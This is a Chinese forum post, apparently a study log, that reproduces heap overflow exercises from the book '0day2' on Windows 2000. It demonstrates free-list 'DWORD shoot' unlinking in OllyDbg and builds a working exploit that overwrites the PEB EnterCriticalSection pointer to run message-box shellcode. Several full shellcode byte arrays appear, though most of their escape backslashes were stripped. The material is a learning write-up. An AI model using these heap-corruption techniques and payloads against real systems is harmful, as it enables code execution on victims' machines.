好久没有发帖子啦!最近一直很忙!但是还是抽空学习啦下!
前段时间匆匆忙忙的把0day2上的堆溢出实验做啦!
可能当时太浮躁啦,很多细节没注意!结果:实验结果很不满意!所以就有啦这一篇!!
上一篇是发布在cnblogs.com的。后来管理提醒我,我们不讨论这种技术!旧书重温:0day2【7】堆溢出实验(很失败的一篇)
所以来 F4ck 发布吧!
0day2第五篇 堆溢出利用!
这章节,我细读啦不下3遍!
但是还是感觉有些生疏,所以要想把这个实验做好!一定要把此章节搞明白!
文章开始
0x01. 0day2第五篇 堆溢出利用! 多看几遍,弄清楚!
0x02 此次环境 vc6 + windows2000 + od
0x03 第一个实验 空表再分配新堆时(从空表上卸下一块,分配新堆时的)dword shoot,此次试验只是调试中体会dword shoot,
原理:空表是双向的
<ignore_js_op> <ignore_js_op>
总结:在链表卸下时, 假造的node的FLink的值将写入到BLink的地址处(Flink = Forward前 link ,指向高地址; BLink = Behind 后 Link,指向低地址)
代码:
- HANDLE hp;
- HLOCAL h1,h2,h3,h4,h5,h6;
- // 堆空表卸载时的dword shoot
- //1 断点
- __asm int 3
- hp = HeapCreate(0,0x1000,0x10000); // 创建新的堆,不可扩展的堆 只存在空表
-
- //2 申请6个8 字节的堆内存
- h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
- h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
- h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
- h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
- h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
- h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
- //3 释放1 3 5 这时 空表第3项 即 free[2] 上会有3个彼此相连的node (申请的8字节 在加上头信息共16字节所以16/8 = 2,连入 free[2] )
- HeapFree(hp,0,h1);
- HeapFree(hp,0,h3);
- HeapFree(hp,0,h5);
- //4 这时候 h5 是free[2] 最后一项,如果再分配8字节的堆内存,会将h5卸下来,这时就存在dowrd shoot,执行到这步停下来,修改h5的值
- //5 sheng qing 8 byte new dui -> dword shoot
- h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
复制代码
注意一定要replease模式生成,然后运行,od调试
<ignore_js_op>
下载od已经断在啦 int 3 处;nop掉 往下走 注意 hp h1,h2,h3,h4,h5,h6 的数值
神器od已经将 代码注释的很完美啦
我就不演示调试过程啦
直接来到 //4 这时候 h5 是free[2] 最后一项,如果再分配8字节的堆内存,会将h5卸下来,这时就存在dowrd shoot,执行到这步停下来,修改h5的值
我们开始手动修改 h5
<ignore_js_op>
此时我的PC的h5是003E06C8
在数据区 Ctrl+G l来到 003E06C8 处 ,这就是h5内存的起始地址,其实h5应该包含头部 我已经阴影标注 共16字节
继续执行下去 来到 h5释放后
<ignore_js_op>
这时的h5(003E06C8)处已经变了样!
阴影处是FLink 后边的是BLink
我们修改下 Flink 修改为4444,Blink 为0000,(因为卸下是将 会 44444写入到00000处,会报错)
<ignore_js_op>
将od的调试设置下!把忽略全去掉
继续F8 ,触发断点
<ignore_js_op>
仔细观察
MOV DWORD PTR DS:[EDX],ECX
此时 ecx 44444444; edx 00000000
验证完毕
0x04 第二个实验 StackAttackEnterCriticalSectionPointer
狙击 EnterCriticalSectionPointer 指针
为神马搞这个指针呢 !
<ignore_js_op>
指针在哪里呢
<ignore_js_op>
首先自己找到 这个指针
- __asm
- {
- xor eax,eax
- mov eax,fs:[eax+0x30] //peb
- lea eax,[eax+0x20] //EnterCriticalSectionPointer
- mov eax,[eax] //EnterCriticalSection addr 这个是这个函数的地址
- }
复制代码
<ignore_js_op>
EnterCriticalSectionPointer 0x7ffdf020
- char shellcode[] = //this my shellcode msg ; Len is 181
- // 1 2 3 4 x x x x |mov eax,0x7FFDF020| mov ebx,77F82060
- "x90x90x90x90"
- "x90x90x90x90x90x90x90x90xB8x20xF0xFDx7FxBBx60x20xF8x77x89x18"
- "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7Ex0Cx33"
- "xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD2x64x8Bx5Ax30"
- "x8Bx4Bx0Cx8Bx49x1Cx57x56x8Bx69x08x8Bx79x20x8Bx09x66x39x57x18x75xF2"
- "x5Ex5FxADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05"
- "x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3AxC4"
- "x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66"
- "x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75"
- "xA9x33xDBx53x68x61x61x61x61x68x62x62x62x62x8BxC4x53x50x50x53xFFx57"
- "xFCx53xFFx57xF8"
- "x90x90x90"
- "x16x01x1Ax00x00x10x00x00"
- "x88x06x36x00x20xF0xFDx7F"; //20 nop
- //"x90x90x90x90x90x90x90x91x92x93x94x95x96x97x98x99x90x90x90x90"; //20 nop
- HLOCAL h1=0,h2=0;
- HANDLE hp;
- hp = HeapCreate(0,0x1000,0x10000);
- h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,208); // 208 因为我的msg len 长啦!调试需要
- memcpy(h1,shellcode,0x200); //0x200 = 512
-
- h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
复制代码
原理 <ignore_js_op> <ignore_js_op> <ignore_js_op> <ignore_js_op>
首先我们来定位 shllcode 修改为
- char shellcode[] = //this my shellcode MSG ; Len is 181
- // 1 2 3 4 x x x x |mov eax,0x7FFDF020| mov ebx,77F82060
- "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7Ex0Cx33"
- "xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD2x64x8Bx5Ax30"
- "x8Bx4Bx0Cx8Bx49x1Cx57x56x8Bx69x08x8Bx79x20x8Bx09x66x39x57x18x75xF2"
- "x5Ex5FxADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05"
- "x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3AxC4"
- "x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66"
- "x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75"
- "xA9x33xDBx53x68x61x61x61x61x68x62x62x62x62x8BxC4x53x50x50x53xFFx57"
- "xFCx53xFFx57xF8"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x91x92x93x94x95x96x97x98x99x90x90x90x90"; //20 nop
- //209 216
- // 181 +20 + 8 + 20
复制代码
<ignore_js_op>
我们看到h1是 360688
内存 我已经阴影标注啦
其中红色部分是 hp分配 h1后,剩下的部分 node 指向free[0]
如果在分配就会改变此处(红色标记处)如果我们通过memcpy代码覆盖掉这部分,就可以狙击 EnterCriticalSectionPointer
下面是 memcpy后的 内存情况
<ignore_js_op>
比较上一图 我们发现 红色部分被我们的 91 -98 控制啦 那么91 -98 就是我们 修改的关键
如果修改呢 根据F =》B的原理 我们把 91-94不知为我们shellcode 地址 也就是 h1地址 360688
将 B 部分 95 -98 为 EnterCriticalSectionPointer 7FFDF020
- char shellcode[] = //this my shellcode MSG ; Len is 181
- // 1 2 3 4 x x x x |mov eax,0x7FFDF020| mov ebx,77F82060
- "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7Ex0Cx33"
- "xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD2x64x8Bx5Ax30"
- "x8Bx4Bx0Cx8Bx49x1Cx57x56x8Bx69x08x8Bx79x20x8Bx09x66x39x57x18x75xF2"
- "x5Ex5FxADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05"
- "x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3AxC4"
- "x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66"
- "x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75"
- "xA9x33xDBx53x68x61x61x61x61x68x62x62x62x62x8BxC4x53x50x50x53xFFx57"
- "xFCx53xFFx57xF8"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x88x06x36x00x20xF0xFDx7Fx99x90x90x90x90"; //20 nop
- //209 91 92 93 94 95 96 97 98
- // 181 +20 + 8 + 20
复制代码
<ignore_js_op>
我们已经控制啦
调试发现会存在 书中所说的 2次 dword shoot 造成我们的shllcode偏移 4字节处被污染!
我们将shellcode头部填充20 nop 验证下
- char shellcode[] = //this my shellcode MSG ; Len is 181
- // 1 2 3 4 x x x x |mov eax,0x7FFDF020| mov ebx,77F82060
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7Ex0Cx33"
- "xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD2x64x8Bx5Ax30"
- "x8Bx4Bx0Cx8Bx49x1Cx57x56x8Bx69x08x8Bx79x20x8Bx09x66x39x57x18x75xF2"
- "x5Ex5FxADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05"
- "x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3AxC4"
- "x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66"
- "x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75"
- "xA9x33xDBx53x68x61x61x61x61x68x62x62x62x62x8BxC4x53x50x50x53xFFx57"
- "xFCx53xFFx57xF8"
-
- "x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x88x06x36x00x20xF0xFDx7Fx99x90x90x90x90"; //20 nop
- //209 91 92 93 94 95 96 97 98
- // 181 +20 + 8 + 20
复制代码
将 下面的20 个 nop提到头部
<ignore_js_op>
<ignore_js_op>
红色部分 就是 2次dword的污染
<ignore_js_op>
还好 无关紧要
接下来解决问题,恢复被我们修改的EnterCriticalSectionPointer
__asm { xor eax,eax mov eax,fs:[eax+0x30] //peb lea eax,[eax+0x20] mov eax,[eax] //这就是 EnterCriticalSection 地址啦 77F82060 (徐调试)
} 这实验 我就不做啦
以下code是修复 的代码
- char shellcode[] = //this my shellcode MSG ; Len is 181
- // 1 2 3 4 x x x x |mov eax,0x7FFDF020| mov ebx,77F82060 |mov[eax],ebx
- "x90x90x90x90x90x90x90x90xB8x20xF0xFDx7FxBBx60x20xF8x77x89x18"
- "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7Ex0Cx33"
- "xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD2x64x8Bx5Ax30"
- "x8Bx4Bx0Cx8Bx49x1Cx57x56x8Bx69x08x8Bx79x20x8Bx09x66x39x57x18x75xF2"
- "x5Ex5FxADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05"
- "x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3AxC4"
- "x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66"
- "x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75"
- "xA9x33xDBx53x68x61x61x61x61x68x62x62x62x62x8BxC4x53x50x50x53xFFx57"
- "xFCx53xFFx57xF8"
-
- "x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x88x06x36x00x20xF0xFDx7Fx99x90x90x90x90"; //20 nop
- //209 91 92 93 94 95 96 97 98
- // 181 +20 + 8 + 20
复制代码
到现在 还没有成功!
接下来就是修复下 尾块的头 现在尾块被我们的数据覆盖为啦90909090当然不对,所以异常
直接copy没被破坏的头结构
00360758 15 01 1B 00 00 10 00 00
先试试这个吧
修改啦还是不行 可能 还是2次 dowrd shoot 的脏数据问题
但是据说 那几句代码 可以忽略
为了保险 在产生脏数据的后面放4个 nop
最后的
- //2 stack overflow
- char shellcode[] = //this my shellcode MSG ; Len is 181
- // 1 2 3 4 x x x x |mov eax,0x7FFDF020| mov ebx,77F82060 |mov[eax],ebx
- "x90x90x90x90x90x90x90x90x90x90x90x90xB8x20xF0xFDx7FxBBx60x20xF8x77x89x18"
- "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7Ex0Cx33"
- "xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD2x64x8Bx5Ax30"
- "x8Bx4Bx0Cx8Bx49x1Cx57x56x8Bx69x08x8Bx79x20x8Bx09x66x39x57x18x75xF2"
- "x5Ex5FxADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05"
- "x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3AxC4"
- "x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66"
- "x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75"
- "xA9x33xDBx53x68x61x61x61x61x68x62x62x62x62x8BxC4x53x50x50x53xFFx57"
- "xFCx53xFFx57xF8"
-
- "x90x90x90x15"
- "x01x1bx00x00x10x00x00x88x06x36x00x20xF0xFDx7Fx99x90x90x90x90"; //20 nop
- //209 91 92 93 94 95 96 97 98
- // 181 +20 + 8 + 20
复制代码
去掉int 3 直接运行
当当当 msg 出来啦
<ignore_js_op> |